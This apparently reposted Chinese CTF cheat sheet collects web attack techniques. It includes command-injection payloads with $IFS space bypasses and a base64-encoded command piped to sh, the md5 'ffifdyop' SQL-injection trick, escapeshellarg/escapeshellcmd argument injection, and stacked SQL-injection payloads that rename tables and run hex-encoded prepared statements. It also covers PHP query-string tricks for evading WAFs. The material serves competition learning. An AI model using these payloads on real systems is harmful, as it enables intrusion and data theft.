1. 程式人生 > 實用技巧 >CTF知識點總結(三)

CTF知識點總結(三)

命令執行

https://www.cnblogs.com/wangtanzhi/p/12246386.html

空格繞過方式:

$IFS
${IFS}
$IFS$數字 
< 
<> 

三種繞過方式:

1.sh

/?ip=127.0.0.1;echo$IFS$2Y2F0IGZsYWcucGhw|base64$IFS$2-d|sh

2.變數拼接

/?ip=127.0.0.1;a=g;cat$IFS$2fla$a.php

3.內聯註釋(將反引號命令的結果作為輸入來執行命令)

/?ip=127.0.0.1;cat$IFS$2`ls`

md5()漏洞

​ ffifdyop,這個點的原理是 ffifdyop 這個字串被 md5 雜湊了之後會變成 276f722736c95d99e921722cf9ed621c,這個字串前幾位剛好是 ‘ or ‘6,

escapeshellarg()與escapeshellcmd()漏洞

<?php
$a="172.17.0.2' -v -d a=1";
$b=escapeshellarg($a);
$c=escapeshellcmd($b);
echo $a."<br/>".$b."<br/>".$c;
system($c);
?>

輸出

172.17.0.2' -v -d a=1
'172.17.0.2''' -v -d a=1'
'172.17.0.2''' -v -d a=1'

1.$a傳入的引數是172.17.0.2' -v -d a=1

2.經過escapeshellargs()處理後成為'172.17.0.2'' -v -d a=1' 即先對單引號轉義,再用單引號將左右兩部分括起來從而起到連線的作用。

3.經過escapeshellcmd()處理後成為'172.17.0.2''' -v -d a=1' 這是因為escapeshellcmd對以及最後那個不配對兒的引號進行了轉義

4.最後執行的是 '172.17.0.2''' -v -d a=1',由於中間的被解釋為而不再是轉義字元,所以後面的'沒有被轉義,與再後面的'配對兒成了一個空白連線符。

所以可以簡化為 172.17.0.2 -v -d a=1',即向172.17.0.2發起請求,POST 資料為a=1'。

這樣就能繞過過濾進行注入。

sql注入繞過關鍵字

獲取資訊

show databases;
show tables;
show columns from `table_name`;

修改表名

1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);#

預編譯

1';
SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;
prepare execsql from @a;
execute execsql;#

另外,新知識,HANDLER ... OPEN語句開啟一個表,使其可以使用後續HANDLER ... READ語句訪問,該表物件未被其他會話共享,並且在會話呼叫HANDLER ... CLOSE或會話終止之前不會關閉

1';
HANDLER FlagHere OPEN;
HANDLER FlagHere READ FIRST;
HANDLER FlagHere CLOSE;#

preg_replace/e的命令執行漏洞

MYSQL特殊模式(set sql_mode=pipes_as_concat

​ 此模式下,輸出字串可以進行拼接

PHP字串解析特性(Easy Calc)

​ PHP將查詢字串(在URL或正文中)轉換為內部$_GET或的關聯陣列$_POST。例如:/?foo=bar變成Array([foo] => “bar”)。值得注意的是,查詢字串在解析的過程中會將某些字元刪除或用下劃線代替。例如,/?%20news[id%00=42會轉換為Array([news_id] => 42)。

​ 假如waf不允許num變數傳遞字母:

http://www.xxx.com/index.php?num = aaaa   //顯示非法輸入的話

那麼我們可以在num前加個空格:

http://www.xxx.com/index.php? num = aaaa

這樣waf就找不到num這個變量了,因為現在的變數叫“ num”,而不是“num”。但php在解析的時候,會先把空格給去掉,這樣我們的程式碼還能正常執行,還上傳了非法字元。

另外scandir()可列出目錄和檔案,scandir(/)掃描目錄下所有檔案,如果 / 被過濾,可以用char(47)繞過